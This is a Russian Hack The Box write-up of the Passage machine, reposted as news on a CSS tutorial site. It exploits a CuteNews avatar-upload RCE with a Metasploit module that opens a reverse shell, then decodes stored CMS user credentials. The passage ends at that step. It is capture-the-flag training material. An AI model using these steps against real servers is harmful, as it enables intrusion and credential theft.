Меню
Наши новости
Учебник CSS

Невозможно отучить людей изучать самые ненужные предметы.

Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3

Надо знать обо всем понемножку, но все о немногом.

Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы

Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)

Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода

Самоучитель CSS

Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5

Новости

Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости

Справочник CSS

Справочник от А до Я
HTML, CSS, JavaScript

Афоризмы

Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы

Видео Уроки


Видео уроки
Популярные статьи
Наш опрос



РЕКЛАМА


ВАША РЕКЛАМА
16-03-2021, 00:00
HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus - «Новости»
Рейтинг:
Категория: Новости

Hack The Box и про­экс­плу­ати­руем уяз­вимость в CMS CuteNews. Заод­но научим­ся добав­лять экс­пло­иты в базу Metasploit Framework, пот­рениру­емся в поис­ке важ­ных для раз­вития ата­ки фай­лов и узна­ем, что такое D-Bus и как повысить при­виле­гии с помощью USBCreator.

Под­клю­чать­ся к лабора­тор­ной машине будем через VPN. Рекомен­дую не под­клю­чать­ся с рабоче­го компь­юте­ра или с хос­та, где есть важ­ные для тебя дан­ные, так как ты попадешь в одну час­тную сеть с людь­ми, которые что‑то да уме­ют в области ИБ. 🙂



warning


Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный в резуль­тате исполь­зования зна­ний и методов, опи­сан­ных в статье.



 

Разведка


 

Сканирование портов


Ма­шина име­ет IP-адрес 10.10.10.206, который я добав­ляю в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.


10.10.10.206 passage.htb

Лю­бая ата­ка начина­ется со ска­ниро­вания откры­тых на хос­те пор­тов. Это необ­ходимо для того, что­бы ата­кующий узнал, какие служ­бы при­нима­ют соеди­нение. Исхо­дя из получен­ной информа­ции, мож­но выбирать путь для получе­ния точ­ки вхо­да и опо­ры. Я это делаю с помощью сле­дующе­го скрип­та, который исполь­зует ути­литу Nmap и при­нима­ет один аргу­мент — адрес ска­ниру­емо­го хос­та.


Сна­чала скрипт исполь­зует Nmap, что­бы сде­лать обыч­ное быс­трое саниро­вание. Затем он пар­сит все пор­ты из вывода и пов­торя­ет ска­ниро­вание толь­ко обна­ружен­ных пор­тов с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus - «Новости»
Ре­зуль­тат работы скрип­та

Мы име­ем две служ­бы — SSH (порт 22) и веб‑сер­вер Apache (порт 80). На SSH нам ловить нечего, так как единс­твен­ное, что там мож­но делать, — это брут­форсить учет­ные дан­ные. Брут­форс — пос­леднее дело. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те. Перей­дя на сайт, лег­ко опре­деля­ем сис­тему управле­ния кон­тентом — CMS CuteNews.


Powered by CuteNews 

Точка входа


Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS уже готовые экс­пло­иты. Луч­ший спо­соб это уста­новить — поис­кать на сай­тах вро­де HackerOne, exploit-db, а так­же GitHub. Но если ты исполь­зуешь спе­циаль­ный дис­три­бутив вро­де Kali Linux, то база экс­пло­итов Exploit-DB уже у тебя на дис­ке. Для удоб­ной работы с дан­ной базой мож­но исполь­зовать ути­литу searchsploit, так­же пре­дус­танов­ленную в дис­три­бути­ве. Имен­но с помощью ее мы и находим ряд экс­пло­итов.


searchsploit cutenews
Экс­пло­иты, най­ден­ные searchsploit

Так как мы не зна­ем вер­сию CMS на ата­куемом хос­те, то сле­дует выб­рать экс­пло­ит для более поз­дней (2.1.2). Луч­ше все­го для нас, если отра­бота­ет тот, который даст выпол­нение кода — RCE. Помет­ка Metasploit озна­чает, что этот экс­пло­ит уже выпущен для Metasploit Framework.


Суть экс­плу­ати­руемой уяз­вимос­ти в том, что при изме­нении ава­тар­ки про­филя мы можем заг­рузить не толь­ко изоб­ражение, но и файл с рас­ширени­ем .php. К фай­лу затем мож­но обра­тить­ся, и это при­ведет к выпол­нению на сер­вере кода, содер­жащего­ся в метадан­ных фай­ла‑изоб­ражения.


 

Закрепление


Так как в пос­тавку Metasploit Framework этот экс­пло­ит не вхо­дит, его нуж­но добавить в базу. Для начала получим пол­ный путь к фай­лу экс­пло­ита (опция -p поз­волит сох­ранить пол­ный путь к фай­лу сра­зу в буфер обме­на), а затем копиру­ем в дирек­торию с экс­пло­ита­ми.


До­бав­ление фай­ла экс­пло­ита в Metasploit Framework

Ав­торы допус­тили ошиб­ку: не хва­тает запятой. Откро­ем файл экс­пло­ита и добавим ее, как ука­зано на скрин­шоте ниже.


Ис­прав­ление ошиб­ки в исходном коде экс­пло­ита

В register_options содер­жатся парамет­ры, с которы­ми запус­кает­ся экс­пло­ит. К при­меру, в дан­ном слу­чае нам нуж­но знать путь к базовой дирек­тории CMS, а так­же учет­ные дан­ные поль­зовате­ля.


Па­рамет­ры экс­пло­ита

В качес­тве зна­чения парамет­ра TARGETURI по умол­чанию исполь­зует­ся /CuteNews. Перей­дя к этой стра­нице на сай­те, получим фор­му авто­риза­ции. Нам нуж­но зарегис­три­ровать нового поль­зовате­ля, имен­но его учет­ные дан­ные мы и будем исполь­зовать при запус­ке экс­пло­ита.


Фор­ма авто­риза­ции CuteNews

Те­перь, ког­да мы испра­вили ошиб­ки в экс­пло­ите и получи­ли все необ­ходимые дан­ные для его работы, коман­дой reload_all обно­вим базу Metasploit Framework, что­бы заг­рузить толь­ко что добав­ленный экс­пло­ит.


Об­новле­ние базы Metasploit Framework

Пос­ле успешно­го обновле­ния базы заг­ружа­ем наш экс­пло­ит, зада­ем зна­чения парамет­ров и выпол­няем.


use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run
Под­клю­чение к хос­ту с помощью экс­пло­ита в сре­де Metasploit Framework

В отче­те наб­люда­ем успешные под­клю­чение, авто­риза­цию, заг­рузку фай­ла на сер­вер и запуск наг­рузки, что в ито­ге при­водит нас к шел­лу Meterpreter. Коман­дой getuid про­веря­ем, в кон­тек­сте какого поль­зовате­ля мы работа­ем. В дан­ном слу­чае у нас кон­текст учет­ной записи служ­бы веб‑сер­вера: поль­зователь www-data.


 

Продвижение


 

Credential Access


Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь поль­зователь­ские учет­ные дан­ные. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей тоже. В слу­чае с CuteNews нас инте­ресу­ет дирек­тория /cdata/users.


Со­дер­жимое дирек­тории /cdata

Здесь дол­жны находить­ся фай­лы users.txt и lines. Как раз вто­рой пред­став­ляет для нас инте­рес.


Со­дер­жимое дирек­тории /cdata/users
Со­дер­жимое фай­ла lines

Текст закоди­рован с помощью Base64. Нем­ного пре­обра­зуем файл: исклю­чим из него все стро­ки, которые содер­жат подс­тро­ку php (это поз­волит оста­вить толь­ко закоди­рован­ные стро­ки), и лег­ко декоди­руем оставши­еся пря­мо в коман­дной стро­ке.


cat lines | grep -vphp | base64 -d
Де­коди­рова­ние строк из фай­ла lines

Теги: CSS

Просмотров: 59
Комментариев: 0:   16-03-2021, 00:00
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

 
Еще новости по теме:



Другие новости по теме:
Комментарии для сайта Cackle